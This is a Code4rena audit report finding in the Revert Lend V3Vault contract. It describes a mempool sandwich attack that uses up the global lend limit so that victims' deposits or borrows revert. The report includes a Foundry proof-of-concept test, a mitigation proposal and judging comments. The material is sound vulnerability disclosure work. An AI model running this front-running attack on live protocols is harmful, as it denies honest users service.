Attacker can exploit Global Limit mechanism to invalidate other users transaction.

[c4-bot-6]

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L572
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L907

Vulnerability details

Background

RevertLend has implemented a global limit on both lending and borrowing, restricting the total amount that can be borrowed and lent in the protocol.

Vulnerability

The problem here is that anyone can exploit the above mechanism to invalidate normal users' transactions.

Consider the following steps:

• The attacker observes a victim's deposit transaction in the mempool.
• They front-run it with their own deposit transaction of an amount equal to the remaining global limit.
• As a result, when the victim's transaction is processed, it will revert as the global limit has already been consumed.
• The attacker then back-runs the victim's transaction with their withdrawal transaction to collect the funds they deposited earlier.
• The same reasoning can be applied to borrowing transactions.

Impact

• The attacker can invalidate other users' deposit and borrow transactions.

Proof of Concept

• Add below test to the V3Vault.t.sol file and run it with via "forge test --mt testDOSviaGloablLendLimit -vv"

function testDOSviaGloablLendLimit() external {

        //Setup Victim and Attacker 
        address Victim = makeAddr("victim");
        address Attacker = makeAddr("attacker");

        vm.startPrank(WHALE_ACCOUNT);
        USDC.transfer(Victim,20e6);
        USDC.transfer(Attacker,20e6);
        vm.stopPrank();

        vm.prank(Victim);
        USDC.approve(address(vault), type(uint256).max);
        vm.prank(Attacker);
        USDC.approve(address(vault), type(uint256).max);   

        //Global Lend Limti is set to the 15 USDC and Daily Lend Limit is set to the 10 USDC.

        assertEq(vault.globalLendLimit(),15e6);
        assertEq(vault.dailyLendIncreaseLimitMin(),12e6);

        //Normal Scenario, Victim deposits 10 USDC below the limit and everything works out
        uint deposit_amount  = 10e6;

        vm.prank(Victim);
        vault.deposit(deposit_amount, Victim);

        //Exploit Scenario
        //At this point we have 10 USDC in the vault.

        vm.warp(block.timestamp + 1 days);

        // we move forward one day so that now, users are allowed to deposit as per new daily Lend Limit (up to 12 USDC)
        // But since the global lend limit is 15 USDC, only 5 USDC can be deposited.

        //Now Attacker here sandwich the victim's deposit transaction with deposit of 5 USDC (consuming the reminder till limit) 
        //and withdrawin the 5 USDC deposited in the previous tx.

        uint victim_deposit_amount   = 2e6;
        uint Attacker_deposit_amount = 5e6; //Equal to lender to limit

        vm.prank(Attacker);
        vault.deposit(Attacker_deposit_amount, Victim);

        //This will revert as the attacker has consumed the Global Limit temporarily
        vm.expectRevert(IErrors.GlobalLendLimit.selector);

        vm.prank(Victim);
        vault.deposit(victim_deposit_amount, Victim);
        
        vm.prank(Attacker);
        vault.withdraw(vault.balanceOf(Attacker), Attacker, Attacker);
    

    }

Tools Used

Manual Review

Recommended Mitigation Steps

• Implement a mechanism to prevent users from depositing and withdrawing on the same day.

Assessed type

DoS

[c4-pre-sort]

0xEVom marked the issue as duplicate of #283

[c4-pre-sort]

0xEVom marked the issue as sufficient quality report

[c4-pre-sort]

0xEVom marked the issue as duplicate of #435

[c4-judge]

jhsagd76 marked the issue as satisfactory